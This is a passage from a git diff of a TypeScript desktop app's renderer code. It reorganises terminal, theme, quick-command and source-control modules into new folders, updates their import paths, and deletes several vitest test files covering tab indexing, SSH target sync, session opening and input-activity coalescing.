             'Restart your shell or add the Orca CLI directory to PATH before setup.'
diff --git a/src/renderer/src/lib/source-control/ai/source-control-generation-plan.ts b/src/renderer/src/lib/source-control/ai/source-control-generation-plan.ts
index 5ddcd762d0e..a4d619c66ca 100644
--- a/src/renderer/src/lib/source-control/ai/source-control-generation-plan.ts
+++ b/src/renderer/src/lib/source-control/ai/source-control-generation-plan.ts
@@ -1,4 +1,4 @@
-import { textGenerationErrorText } from '@/lib/text-generation-error-copy'
+import { textGenerationErrorText } from '@/lib/text-generation/text-generation-error-copy'
 import { planCommitMessageGeneration } from '../../../../../shared/source-control/ai/generation/commit-message-plan'
 import {
   renderSourceControlActionCommandTemplate,
diff --git a/src/renderer/src/lib/repository-refresh/coalesced-poll-runner.ts b/src/renderer/src/lib/source-control/refresh/coalesced-poll-runner.ts
similarity index 100%
rename from src/renderer/src/lib/repository-refresh/coalesced-poll-runner.ts
rename to src/renderer/src/lib/source-control/refresh/coalesced-poll-runner.ts
diff --git a/src/renderer/src/lib/review-owner.ts b/src/renderer/src/lib/source-control/review/review-owner.ts
similarity index 89%
rename from src/renderer/src/lib/review-owner.ts
rename to src/renderer/src/lib/source-control/review/review-owner.ts
index 81e81eb9c84..876c570a7b0 100644
--- a/src/renderer/src/lib/review-owner.ts
+++ b/src/renderer/src/lib/source-control/review/review-owner.ts
@@ -1,5 +1,3 @@
-import type { Repo } from '../../../shared/repo-types'
-import type { Worktree } from '../../../shared/worktree/types'
 import {
   getRepoExecutionHostId,
   getRepoSshConnectionId,
@@ -8,11 +6,13 @@ import {
   parseExecutionHostId,
   toRuntimeExecutionHostId,
   toSshExecutionHostId
-} from '../../../shared/execution-host'
+} from '../../../../../shared/execution-host'
 import {
   findIndexedReviewRepository,
   hasIndexedRepository
-} from './workspace/ownership/repository-owner-index'
+} from '../../workspace/ownership/repository-owner-index'
+import type { Repo } from '../../../../../shared/repo-types'
+import type { Worktree } from '../../../../../shared/worktree/types'
 
 type ReviewWorkspaceOwner = Pick<Worktree, 'repoId' | 'hostId' | 'runtimeOwnerEnvironmentId'>
 
diff --git a/src/renderer/src/lib/ssh-config-passive-sync.test.ts b/src/renderer/src/lib/ssh-config-passive-sync.test.ts
deleted file mode 100644
index 2ef18914ffa..00000000000
--- a/src/renderer/src/lib/ssh-config-passive-sync.test.ts
+++ /dev/null
@@ -1,40 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '../store'
-import {
-  resetSshConfigPassiveSyncForTests,
-  syncSshConfigTargetsPassively
-} from './ssh-config-passive-sync'
-
-const importConfig = vi.fn()
-const listTargets = vi.fn()
-
-beforeEach(() => {
-  vi.useFakeTimers()
-  resetSshConfigPassiveSyncForTests()
-  useAppStore.setState(useAppStore.getInitialState(), true)
-  importConfig.mockReset().mockResolvedValue({ targets: [], repoReadoptions: [] })
-  listTargets.mockReset().mockResolvedValue([])
-  vi.stubGlobal('window', { api: { ssh: { importConfig, listTargets } } })
-})
-
-afterEach(() => {
-  vi.useRealTimers()
-  vi.unstubAllGlobals()
-})
-
-describe('syncSshConfigTargetsPassively', () => {
-  it('retries the listing when the import already saved hosts but listing them failed', async () => {
-    importConfig.mockResolvedValueOnce({
-      targets: [{ id: 'ssh-new', label: 'new-box' }],
-      repoReadoptions: []
-    })
-    listTargets.mockRejectedValueOnce(new Error('ipc busy'))
-    await syncSshConfigTargetsPassively()
-
-    listTargets.mockResolvedValue([{ id: 'ssh-new', label: 'new-box' }])
-    vi.advanceTimersByTime(10_000)
-    await syncSshConfigTargetsPassively()
-
-    expect(useAppStore.getState().sshTargetLabels.get('ssh-new')).toBe('new-box')
-  })
-})
diff --git a/src/renderer/src/lib/structured-chat-tab-index.test.ts b/src/renderer/src/lib/structured-chat-tab-index.test.ts
deleted file mode 100644
index ab0284b8979..00000000000
--- a/src/renderer/src/lib/structured-chat-tab-index.test.ts
+++ /dev/null
@@ -1,48 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import type { Tab } from '../../../shared/tab-types'
-import { structuredChatTabById, structuredChatTabBySessionId } from './structured-chat-tab-index'
-
-function tab(id: string, contentType: Tab['contentType'] = 'agent-session'): Tab {
-  return {
-    id,
-    entityId: `session-${id}`,
-    contentType,
-    groupId: 'group',
-    worktreeId: 'workspace',
-    label: 'Chat name',
-    customLabel: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 0
-  }
-}
-
-describe('structured chat tab index', () => {
-  it('indexes an immutable snapshot once across rows and lookup kinds', () => {
-    let reads = 0
-    const structured = tab('chat')
-    const tabs = new Proxy([tab('terminal', 'terminal'), structured], {
-      get: (target, property) => {
-        if (property === '0' || property === '1') {
-          reads += 1
-        }
-        // oxlint-disable-next-line anti-slop/no-reflect-get -- The test proxy counts array reads without changing iteration.
-        return Reflect.get(target, property)
-      }
-    })
-    expect(structuredChatTabById({ workspace: tabs }, 'workspace', 'chat')).toBe(structured)
-    const initialReads = reads
-    expect(initialReads).toBeGreaterThan(0)
-    expect(structuredChatTabBySessionId({ workspace: tabs }, 'workspace', 'session-chat')).toBe(
-      structured
-    )
-    expect(structuredChatTabById({ workspace: tabs }, 'workspace', 'terminal')).toBeUndefined()
-    expect(structuredChatTabById({ workspace: tabs }, 'workspace', 'missing')).toBeUndefined()
-    expect(reads).toBe(initialReads)
-    const renamed = { ...structured, customLabel: 'Manual name' }
-    expect(
-      structuredChatTabBySessionId({ workspace: [renamed] }, 'workspace', 'session-chat')
-    ).toBe(renamed)
-    expect(structuredChatTabById(undefined, 'workspace', 'chat')).toBeUndefined()
-  })
-})
diff --git a/src/renderer/src/lib/structured-session-open-consumers.test.tsx b/src/renderer/src/lib/structured-session-open-consumers.test.tsx
deleted file mode 100644
index d677725c502..00000000000
--- a/src/renderer/src/lib/structured-session-open-consumers.test.tsx
+++ /dev/null
@@ -1,163 +0,0 @@
-// @vitest-environment happy-dom
-import { act, cleanup, fireEvent, render, renderHook, waitFor } from '@testing-library/react'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import type { AiVaultSession } from '../../../shared/ai-vault/contracts/ai-vault-types'
-import type { Tab } from '../../../shared/tab-types'
-import { useAiVaultSessionLaunchActions } from '@/components/right-sidebar/ai-vault/session-actions/ai-vault-session-launch-actions'
-import { useAiVaultOriginalPaneActions } from '@/components/right-sidebar/ai-vault/session-actions/ai-vault-original-pane-actions'
-import { reportCliChatResumeFailure } from '@/components/tab-bar/cli-chat-resume-feedback'
-import AiVaultSessionDropLayer from '@/components/tab-group/AiVaultSessionDropLayer'
-import { writeAiVaultSessionDragData } from './agent-session/resume/history/ai-vault-session-drag'
-const transport = vi.hoisted(() => ({ rpc: vi.fn(), toast: vi.fn() }))
-vi.mock('sonner', () => ({ toast: { error: transport.toast, success: vi.fn() } }))
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (original) => ({
-  ...(await original<Record<string, unknown>>()),
-  callRuntimeRpc: transport.rpc
-}))
-vi.mock('@/runtime/local-structured-session-tabs-sync/inventory-refresh', () => ({
-  refreshLocalStructuredSessionWorktreeTabs: async () => undefined
-}))
-const workspace = 'workspace'
-const session: AiVaultSession = {
-  id: 'row',
-  executionHostId: 'local',
-  agent: 'codex',
-  sessionId: 'provider',
-  structuredSession: { workspaceId: workspace, sessionId: 'R' },
-  title: 'History',
-  cwd: '/repo',
-  branch: null,
-  model: null,
-  filePath: '/fixture',
-  codexHome: null,
-  createdAt: null,
-  updatedAt: null,
-  modifiedAt: '2026-10-30',
-  messageCount: 1,
-  totalTokens: 0,
-  previewMessages: [],
-  queuedMessageCount: 0,
-  subagentTranscriptCount: 0,
-  resumeCommand: '',
-  subagent: null
-}
-function row(id: string, entityId: string): Tab {
-  return {
-    id,
-    entityId,
-    worktreeId: workspace,
-    executionHostId: 'local',
-    groupId: 'g',
-    contentType: 'agent-session',
-    agentSessionAgent: 'codex',
-    label: 'Chat',
-    customLabel: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 0
-  }
-}
-function publish(tabs: Tab[]) {
-  useAppStore.setState({
-    unifiedTabsByWorktree: { [workspace]: tabs },
-    groupsByWorktree: {
-      [workspace]: [
-        { id: 'g', worktreeId: workspace, activeTabId: null, tabOrder: tabs.map((tab) => tab.id) }
-      ]
-    },
-    activeGroupIdByWorktree: { [workspace]: 'g' }
-  })
-}
-beforeEach(() => {
-  vi.clearAllMocks()
-  useAppStore.setState(useAppStore.getInitialState(), true)
-  useAppStore.setState({ activeWorktreeId: workspace, activeWorkspaceExecutionHostId: 'local' })
-  publish([row('actual-S', 'S')])
-  transport.rpc.mockImplementation(async (_host, method) =>
-    method === 'orchestration.partyLocation'
-      ? { location: { kind: 'chat', sessionId: 'S', worktreeId: workspace } }
-      : { ok: true }
-  )
-})
-afterEach(() => {
-  cleanup()
-  vi.restoreAllMocks()
-})
-const selected = () => useAppStore.getState().groupsByWorktree[workspace]?.[0]?.activeTabId
-it.each(['history', 'jump', 'drop', 'cli-conflict'] as const)(
-  'the real %s consumer reaches the common default adapter and actual selected row',
-  async (consumer) => {
-    if (consumer === 'history') {
-      const hook = renderHook(() =>
-        useAiVaultSessionLaunchActions({
-          activeWorktree: null,
-          activeWorktreeId: workspace,
-          targetState: useAppStore.getState()
-        })
-      )
-      act(() => hook.result.current.handleResume(session))
-    } else if (consumer === 'jump') {
-      publish([row('actual-R', 'R'), row('actual-S', 'S')])
-      const hook = renderHook(() => useAiVaultOriginalPaneActions())
-      await act(async () => {
-        await hook.result.current.jumpToOriginalPane(session)
-      })
-    } else if (consumer === 'cli-conflict') {
-      await reportCliChatResumeFailure(
-        {
-          tabId: 'cli',
-          workspaceId: workspace,
-          paneKey: 'cli:leaf',
-          agent: 'codex',
-          providerSessionId: 'provider',
-          executionHostId: 'local'
-        },
-        Object.assign(new Error('conflict'), {
-          refusal: {
-            code: 'agent_session_conflict',
-            details: {
-              reason: 'conversationHeldElsewhere',
-              owner: { sessionId: 'R', workspaceId: workspace }
-            }
-          }
-        }),
-        true,
-        { kind: 'local' }
-      )
-    } else {
-      vi.spyOn(HTMLElement.prototype, 'getBoundingClientRect').mockReturnValue(
-        new DOMRect(0, 0, 400, 400)
-      )
-      const view = render(
-        <>
-          <div data-tab-group-body-id="g" data-worktree-id={workspace} />
-          <AiVaultSessionDropLayer worktreeId={workspace} enabled />
-        </>
-      )
-      const data = new DataTransfer()
-      writeAiVaultSessionDragData(data, {
-        agent: 'codex',
-        sessionId: 'provider',
-        structuredSession: session.structuredSession,
-        title: 'History',
-        command: ''
-      })
-      const event = new MouseEvent('drop', { bubbles: true, clientX: 200, clientY: 200 })
-      Object.defineProperty(event, 'dataTransfer', { value: data })
-      fireEvent(view.container.querySelector('[data-ai-vault-session-drop-layer]')!, event)
-    }
-    await waitFor(() => expect(selected()).toBe(consumer === 'jump' ? 'actual-R' : 'actual-S'))
-    expect(transport.rpc.mock.calls.map((call) => call[1])).toEqual(
-      consumer === 'jump'
-        ? ['session.tabs.activate']
-        : ['orchestration.partyLocation', 'session.tabs.activate']
-    )
-    expect(
-      transport.rpc.mock.calls.every(
-        (call) => JSON.stringify(call[0]) === JSON.stringify({ kind: 'local' })
-      )
-    ).toBe(true)
-    expect(transport.toast).not.toHaveBeenCalled()
-  }
-)
diff --git a/src/renderer/src/lib/tab-agent-status-index.test.ts b/src/renderer/src/lib/tab-agent-status-index.test.ts
deleted file mode 100644
index a97ada10892..00000000000
--- a/src/renderer/src/lib/tab-agent-status-index.test.ts
+++ /dev/null
@@ -1,299 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import {
-  resolveFocusedCompletedTabAgent,
-  resolveFocusedRetainedTabAgent,
-  resolveFocusedTabAgent,
-  resolveSiblingCompletedTabAgent,
-  resolveSiblingRetainedTabAgent,
-  resolveSiblingTabAgent
-} from './tab-agent'
-import { agentTypeToIconAgent } from '../../../shared/agent-status/presentation/agent-type-icon-agent'
-import { isTerminalLeafId, parsePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import type {
-  AgentStatusEntry,
-  AgentStatusState,
-  AgentType
-} from '../../../shared/agent-status/contracts/agent-status-types'
-import type {
-  TerminalLayoutSnapshot,
-  TerminalTab
-} from '../../../shared/workspace-layout/terminal-tab-types'
-import type { TerminalAgent } from '../../../shared/agent-status/identity/terminal-agent'
-import type { RetainedAgentEntry } from '@/store/slices/agent-status/agent-status-contract'
-
-// Keep pre-index scans as the randomized differential oracle for exact resolver behavior.
-
-function oracleAnyTabAgent(
-  map: Record<string, AgentStatusEntry>,
-  tabId: string,
-  excludedLeafId?: string
-): TerminalAgent | null {
-  for (const [paneKey, entry] of Object.entries(map)) {
-    const parsed = parsePaneKey(paneKey)
-    if (parsed?.tabId === tabId && parsed.leafId !== excludedLeafId) {
-      const agent = entry.state === 'done' ? null : agentTypeToIconAgent(entry.agentType)
-      if (agent) {
-        return agent
-      }
-    }
-  }
-  return null
-}
-
-function oracleAnyCompletedTabAgent(
-  map: Record<string, AgentStatusEntry>,
-  tabId: string,
-  excludedLeafId?: string
-): TerminalAgent | null {
-  for (const [paneKey, entry] of Object.entries(map)) {
-    const parsed = parsePaneKey(paneKey)
-    if (parsed?.tabId === tabId && parsed.leafId !== excludedLeafId) {
-      const agent = entry.state === 'done' ? agentTypeToIconAgent(entry.agentType) : null
-      if (agent) {
-        return agent
-      }
-    }
-  }
-  return null
-}
-
-function oracleAnyRetainedTabAgent(
-  map: Record<string, RetainedAgentEntry>,
-  tabId: string,
-  excludedLeafId?: string
-): TerminalAgent | null {
-  for (const [paneKey, retained] of Object.entries(map)) {
-    const parsed = parsePaneKey(paneKey)
-    if (parsed?.tabId === tabId && parsed.leafId !== excludedLeafId) {
-      const agent = agentTypeToIconAgent(retained.agentType)
-      if (agent) {
-        return agent
-      }
-    }
-  }
-  return null
-}
-
-function activeLeafOf(layout: TerminalLayoutSnapshot | undefined): string | null {
-  const activeLeafId = layout?.activeLeafId
-  return activeLeafId && isTerminalLeafId(activeLeafId) ? activeLeafId : null
-}
-
-const ORACLES = {
-  focused: (
-    map: Record<string, AgentStatusEntry>,
-    layout: TerminalLayoutSnapshot | undefined,
-    tabId: string
-  ): TerminalAgent | null => {
-    const activeLeafId = activeLeafOf(layout)
-    if (activeLeafId) {
-      const entry = map[`${tabId}:${activeLeafId}`]
-      return !entry || entry.state === 'done' ? null : agentTypeToIconAgent(entry.agentType)
-    }
-    return oracleAnyTabAgent(map, tabId)
-  },
-  sibling: (
-    map: Record<string, AgentStatusEntry>,
-    layout: TerminalLayoutSnapshot | undefined,
-    tabId: string
-  ): TerminalAgent | null => {
-    const activeLeafId = activeLeafOf(layout)
-    return activeLeafId ? oracleAnyTabAgent(map, tabId, activeLeafId) : null
-  },
-  focusedCompleted: (
-    map: Record<string, AgentStatusEntry>,
-    layout: TerminalLayoutSnapshot | undefined,
-    tabId: string
-  ): TerminalAgent | null => {
-    const activeLeafId = activeLeafOf(layout)
-    if (activeLeafId) {
-      const entry = map[`${tabId}:${activeLeafId}`]
-      return !entry || entry.state !== 'done' ? null : agentTypeToIconAgent(entry.agentType)
-    }
-    return oracleAnyCompletedTabAgent(map, tabId)
-  },
-  siblingCompleted: (
-    map: Record<string, AgentStatusEntry>,
-    layout: TerminalLayoutSnapshot | undefined,
-    tabId: string
-  ): TerminalAgent | null => {
-    const activeLeafId = activeLeafOf(layout)
-    return activeLeafId ? oracleAnyCompletedTabAgent(map, tabId, activeLeafId) : null
-  },
-  focusedRetained: (
-    map: Record<string, RetainedAgentEntry>,
-    layout: TerminalLayoutSnapshot | undefined,
-    tabId: string
-  ): TerminalAgent | null => {
-    const activeLeafId = activeLeafOf(layout)
-    if (activeLeafId) {
-      return agentTypeToIconAgent(map[`${tabId}:${activeLeafId}`]?.agentType)
-    }
-    return oracleAnyRetainedTabAgent(map, tabId)
-  },
-  siblingRetained: (
-    map: Record<string, RetainedAgentEntry>,
-    layout: TerminalLayoutSnapshot | undefined,
-    tabId: string
-  ): TerminalAgent | null => {
-    const activeLeafId = activeLeafOf(layout)
-    return activeLeafId ? oracleAnyRetainedTabAgent(map, tabId, activeLeafId) : null
-  }
-}
-
-function mulberry32(seed: number): () => number {
-  let a = seed >>> 0
-  return () => {
-    a = (a + 0x6d2b79f5) >>> 0
-    let t = Math.imul(a ^ (a >>> 15), 1 | a)
-    t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t
-    return ((t ^ (t >>> 14)) >>> 0) / 4294967296
-  }
-}
-
-function leafId(n: number): string {
-  const hex = n.toString(16).padStart(12, '0')
-  return `11111111-1111-4111-8111-${hex}`
-}
-
-const STATES: readonly AgentStatusState[] = ['working', 'blocked', 'waiting', 'done']
-// Mixes iconable agents with ones agentTypeToIconAgent rejects.
-const AGENT_TYPES: readonly (AgentType | undefined)[] = [
-  'claude',
-  'codex',
-  'gemini',
-  'pi',
-  'omp',
-  'unknown',
-  'some-custom-agent',
-  undefined
-]
-
-function statusEntry(
-  paneKey: string,
-  state: AgentStatusState,
-  agentType?: AgentType
-): AgentStatusEntry {
-  return {
-    state,
-    prompt: '',
-    updatedAt: 0,
-    stateStartedAt: 0,
-    paneKey,
-    stateHistory: [],
-    ...(agentType ? { agentType } : {})
-  }
-}
-
-function retainedEntry(paneKey: string, agentType: AgentType): RetainedAgentEntry {
-  const tabId = paneKey.slice(0, paneKey.indexOf(':'))
-  const tab: TerminalTab = {
-    id: tabId,
-    ptyId: null,
-    worktreeId: 'wt-1',
-    title: 'Terminal 1',
-    customTitle: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 0
-  }
-  return {
-    entry: { ...statusEntry(paneKey, 'done', agentType), state: 'done' },
-    worktreeId: tab.worktreeId,
-    tab,
-    agentType,
-    startedAt: 0
-  }
-}
-
-function layoutOf(activeLeafId: string | null): TerminalLayoutSnapshot {
-  return { root: null, activeLeafId, expandedLeafId: null }
-}
-
-type RandomCase = {
-  statusMap: Record<string, AgentStatusEntry>
-  retainedMap: Record<string, RetainedAgentEntry>
-  probes: { tabId: string; layout: TerminalLayoutSnapshot | undefined }[]
-}
-
-function generateCase(random: () => number): RandomCase {
-  const tabCount = 1 + Math.floor(random() * 6)
-  const tabIds = Array.from({ length: tabCount }, (_, i) => `tab-${i}`)
-  const paneKeys: string[] = []
-  for (const tabId of tabIds) {
-    const leafCount = 1 + Math.floor(random() * 4)
-    for (let leaf = 0; leaf < leafCount; leaf += 1) {
-      paneKeys.push(`${tabId}:${leafId(leaf)}`)
-    }
-  }
-  // Malformed keys the resolvers must skip, plus a shuffle so insertion order varies.
-  paneKeys.push('tab-0:not-a-uuid', 'no-colon-key', `:${leafId(0)}`, `tab-0:${leafId(0)}:extra`)
-  for (let i = paneKeys.length - 1; i > 0; i -= 1) {
-    const j = Math.floor(random() * (i + 1))
-    ;[paneKeys[i], paneKeys[j]] = [paneKeys[j]!, paneKeys[i]!]
-  }
-
-  const statusMap: Record<string, AgentStatusEntry> = {}
-  const retainedMap: Record<string, RetainedAgentEntry> = {}
-  for (const paneKey of paneKeys) {
-    if (random() < 0.8) {
-      const state = STATES[Math.floor(random() * STATES.length)]!
-      statusMap[paneKey] = statusEntry(
-        paneKey,
-        state,
-        AGENT_TYPES[Math.floor(random() * AGENT_TYPES.length)]
-      )
-    }
-    if (random() < 0.5) {
-      const agentType = AGENT_TYPES[Math.floor(random() * AGENT_TYPES.length)] ?? 'claude'
-      retainedMap[paneKey] = retainedEntry(paneKey, agentType)
-    }
-  }
-
-  const probes = tabIds.concat('tab-absent').map((tabId) => {
-    const roll = random()
-    const layout =
-      roll < 0.2
-        ? undefined
-        : roll < 0.35
-          ? layoutOf(null)
-          : roll < 0.45
-            ? layoutOf('not-a-uuid')
-            : layoutOf(leafId(Math.floor(random() * 5)))
-    return { tabId, layout }
-  })
-  return { statusMap, retainedMap, probes }
-}
-
-function expectParity(testCase: RandomCase): void {
-  for (const { tabId, layout } of testCase.probes) {
-    const { statusMap, retainedMap } = testCase
-    expect(resolveFocusedTabAgent(statusMap, layout, tabId)).toBe(
-      ORACLES.focused(statusMap, layout, tabId)
-    )
-    expect(resolveSiblingTabAgent(statusMap, layout, tabId)).toBe(
-      ORACLES.sibling(statusMap, layout, tabId)
-    )
-    expect(resolveFocusedCompletedTabAgent(statusMap, layout, tabId)).toBe(
-      ORACLES.focusedCompleted(statusMap, layout, tabId)
-    )
-    expect(resolveSiblingCompletedTabAgent(statusMap, layout, tabId)).toBe(
-      ORACLES.siblingCompleted(statusMap, layout, tabId)
-    )
-    expect(resolveFocusedRetainedTabAgent(retainedMap, layout, tabId)).toBe(
-      ORACLES.focusedRetained(retainedMap, layout, tabId)
-    )
-    expect(resolveSiblingRetainedTabAgent(retainedMap, layout, tabId)).toBe(
-      ORACLES.siblingRetained(retainedMap, layout, tabId)
-    )
-  }
-}
-
-describe('tab agent status index parity with the pre-index full-map scan', () => {
-  it('matches the oracle across 250 randomized status maps', () => {
-    const random = mulberry32(0xc0ffee)
-    for (let caseIndex = 0; caseIndex < 250; caseIndex += 1) {
-      expectParity(generateCase(random))
-    }
-  })
-})
diff --git a/src/renderer/src/lib/terminal-input-activity-coalescing.test.ts b/src/renderer/src/lib/terminal-input-activity-coalescing.test.ts
deleted file mode 100644
index 7a93c89801b..00000000000
--- a/src/renderer/src/lib/terminal-input-activity-coalescing.test.ts
+++ /dev/null
@@ -1,100 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  TERMINAL_INPUT_ACTIVITY_WRITE_INTERVAL_MS,
-  getPendingTerminalInputActivityCountForTests,
-  mergePendingTerminalInputActivity,
-  readLastTerminalInputAt,
-  recordTerminalInputActivity,
-  resetTerminalInputActivityCoalescingForTests
-} from './terminal-input-activity-coalescing'
-
-const PANE = 'tab-1:leaf-1'
-
-// Minimal stand-in for the store slot the real commit writes into.
-function createStore(initial: Record<string, number> = {}) {
-  const stored: Record<string, number | undefined> = { ...initial }
-  const writes: string[] = []
-  return {
-    stored,
-    writes,
-    commit: {
-      insert: (paneKey: string, timestamp: number) => {
-        writes.push(`insert:${paneKey}`)
-        stored[paneKey] = timestamp
-      },
-      refreshExisting: (entries: readonly (readonly [string, number])[]) => {
-        writes.push('flush')
-        for (const [paneKey, timestamp] of entries) {
-          const current = stored[paneKey]
-          if (current === undefined || current >= timestamp) {
-            continue
-          }
-          stored[paneKey] = timestamp
-        }
-      }
-    }
-  }
-}
-
-function type(store: ReturnType<typeof createStore>, paneKey: string, timestamp: number): void {
-  recordTerminalInputActivity({
-    paneKey,
-    timestamp,
-    forceWrite: store.stored[paneKey] === undefined,
-    commit: store.commit
-  })
-}
-
-describe('terminal input activity coalescing', () => {
-  beforeEach(() => {
-    vi.useFakeTimers()
-    resetTerminalInputActivityCoalescingForTests()
-  })
-
-  it('writes the first keystroke immediately and coalesces the burst', () => {
-    const store = createStore()
-
-    // 40 keystrokes at 20ms apart = one 800ms burst.
-    for (let i = 0; i < 40; i++) {
-      type(store, PANE, 1_000 + i * 20)
-    }
-
-    // Leading edge + one interval boundary crossing; no per-keystroke writes.
-    expect(store.writes.filter((w) => w.startsWith('insert')).length).toBeLessThanOrEqual(2)
-    expect(store.writes.length).toBeLessThan(5)
-    expect(store.stored[PANE]).toBeDefined()
-  })
-
-  it('keeps imperative reads fresh while a write is pending', () => {
-    const store = createStore()
-
-    type(store, PANE, 1_000)
-    type(store, PANE, 1_100)
-
-    expect(store.stored[PANE]).toBe(1_000)
-    expect(getPendingTerminalInputActivityCountForTests()).toBe(1)
-    expect(readLastTerminalInputAt(store.stored, PANE)).toBe(1_100)
-    expect(mergePendingTerminalInputActivity(store.stored)[PANE]).toBe(1_100)
-  })
-
-  it('flushes pending stamps into the store on the timer', () => {
-    const store = createStore()
-
-    type(store, PANE, 1_000)
-    type(store, PANE, 1_100)
-    vi.advanceTimersByTime(TERMINAL_INPUT_ACTIVITY_WRITE_INTERVAL_MS + 1)
-
-    expect(store.stored[PANE]).toBe(1_100)
-    expect(getPendingTerminalInputActivityCountForTests()).toBe(0)
-  })
-
-  it('writes immediately again once the coalescing window has passed', () => {
-    const store = createStore()
-
-    type(store, PANE, 1_000)
-    type(store, PANE, 1_000 + TERMINAL_INPUT_ACTIVITY_WRITE_INTERVAL_MS)
-
-    expect(store.writes).toEqual([`insert:${PANE}`, `insert:${PANE}`])
-    expect(store.stored[PANE]).toBe(1_000 + TERMINAL_INPUT_ACTIVITY_WRITE_INTERVAL_MS)
-  })
-})
diff --git a/src/renderer/src/lib/terminal-themes-data.ts b/src/renderer/src/lib/terminal-themes-data.ts
deleted file mode 100644
index c5babeb7698..00000000000
--- a/src/renderer/src/lib/terminal-themes-data.ts
+++ /dev/null
@@ -1,11 +0,0 @@
-import type { ITheme } from '@xterm/xterm'
-
-import { TERMINAL_THEME_CATALOG as TERMINAL_THEMES } from '../../../shared/terminal-themes/terminal-theme-catalog'
-
-export function getThemeNames(): string[] {
-  return Object.keys(TERMINAL_THEMES).sort()
-}
-
-export function getTheme(name: string): ITheme | null {
-  return TERMINAL_THEMES[name] ?? null
-}
diff --git a/src/renderer/src/lib/terminal-theme.ts b/src/renderer/src/lib/terminal/appearance/terminal-theme.ts
similarity index 85%
rename from src/renderer/src/lib/terminal-theme.ts
rename to src/renderer/src/lib/terminal/appearance/terminal-theme.ts
index b4aa2b6f2db..557d31bf3b0 100644
--- a/src/renderer/src/lib/terminal-theme.ts
+++ b/src/renderer/src/lib/terminal/appearance/terminal-theme.ts
@@ -1,22 +1,20 @@
-import type { ITheme } from '@xterm/xterm'
 import { getTheme, getThemeNames } from './terminal-themes-data'
-import type { GlobalSettings } from '../../../shared/global-settings-types'
-import type { PluginTerminalThemeRegistration } from '../../../shared/plugins/artifacts/plugin-terminal-theme-artifact'
 import {
   makeCustomTerminalThemeSelection,
   normalizeTerminalCustomThemes,
-  terminalCustomThemeToXtermTheme,
-  type TerminalCustomTheme
-} from '../../../shared/terminal-themes/terminal-custom-themes'
-import {
-  resolveTerminalPalette,
-  type TerminalPaletteSettings
-} from '../../../shared/terminal-themes/terminal-theme-selection'
+  terminalCustomThemeToXtermTheme
+} from '../../../../../shared/terminal-themes/terminal-custom-themes'
+import type { TerminalCustomTheme } from '../../../../../shared/terminal-themes/terminal-custom-themes'
+import { resolveTerminalPalette } from '../../../../../shared/terminal-themes/terminal-theme-selection'
+import type { TerminalPaletteSettings } from '../../../../../shared/terminal-themes/terminal-theme-selection'
 import {
   disambiguatedContentPluginNames,
   disambiguatedPluginContentLabels
-} from '../components/plugins/presentation/plugin-name-disambiguation'
-import type { Translate } from '../i18n/use-translate'
+} from '../../../components/plugins/presentation/plugin-name-disambiguation'
+import type { ITheme } from '@xterm/xterm'
+import type { GlobalSettings } from '../../../../../shared/global-settings-types'
+import type { PluginTerminalThemeRegistration } from '../../../../../shared/plugins/artifacts/plugin-terminal-theme-artifact'
+import type { Translate } from '../../../i18n/use-translate'
 
 export const BUILTIN_TERMINAL_THEME_NAMES = getThemeNames()
 
diff --git a/src/renderer/src/lib/terminal/appearance/terminal-themes-data.ts b/src/renderer/src/lib/terminal/appearance/terminal-themes-data.ts
new file mode 100644
index 00000000000..0a786a27116
--- /dev/null
+++ b/src/renderer/src/lib/terminal/appearance/terminal-themes-data.ts
@@ -0,0 +1,10 @@
+import { TERMINAL_THEME_CATALOG } from '../../../../../shared/terminal-themes/terminal-theme-catalog'
+import type { ITheme } from '@xterm/xterm'
+
+export function getThemeNames(): string[] {
+  return Object.keys(TERMINAL_THEME_CATALOG).sort()
+}
+
+export function getTheme(name: string): ITheme | null {
+  return TERMINAL_THEME_CATALOG[name] ?? null
+}
diff --git a/src/renderer/src/lib/terminal-input-activity-coalescing.ts b/src/renderer/src/lib/terminal/input/terminal-input-activity-coalescing.ts
similarity index 100%
rename from src/renderer/src/lib/terminal-input-activity-coalescing.ts
rename to src/renderer/src/lib/terminal/input/terminal-input-activity-coalescing.ts
diff --git a/src/renderer/src/lib/quick-commands-menu-events.ts b/src/renderer/src/lib/terminal/quick-commands/quick-commands-menu-events.ts
similarity index 100%
rename from src/renderer/src/lib/quick-commands-menu-events.ts
rename to src/renderer/src/lib/terminal/quick-commands/quick-commands-menu-events.ts
diff --git a/src/renderer/src/lib/run-quick-command-in-new-tab.ts b/src/renderer/src/lib/terminal/quick-commands/run-quick-command-in-new-tab.ts
similarity index 94%
rename from src/renderer/src/lib/run-quick-command-in-new-tab.ts
rename to src/renderer/src/lib/terminal/quick-commands/run-quick-command-in-new-tab.ts
index 3808aa3f8f8..d58a28920c7 100644
--- a/src/renderer/src/lib/run-quick-command-in-new-tab.ts
+++ b/src/renderer/src/lib/terminal/quick-commands/run-quick-command-in-new-tab.ts
@@ -1,4 +1,4 @@
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { persistAgentLaunchTabOrder } from '@/lib/agent-session/launch/pane/launch-agent-tab-order'
 import { launchAgentInNewTab } from '@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab'
 import { newAgentLaunchRequestId } from '@/lib/agent-session/launch/routing/agent-launch-request-id'
@@ -6,8 +6,8 @@ import {
   flattenTerminalQuickCommand,
   isTerminalAgentQuickCommand,
   supportsTerminalAgentQuickCommand
-} from '../../../shared/terminal/quick-commands/terminal-quick-commands'
-import type { TerminalQuickCommand } from '../../../shared/terminal/quick-commands/terminal-quick-command-types'
+} from '../../../../../shared/terminal/quick-commands/terminal-quick-commands'
+import type { TerminalQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-types'
 
 export type RunQuickCommandInNewTabArgs = {
   command: TerminalQuickCommand
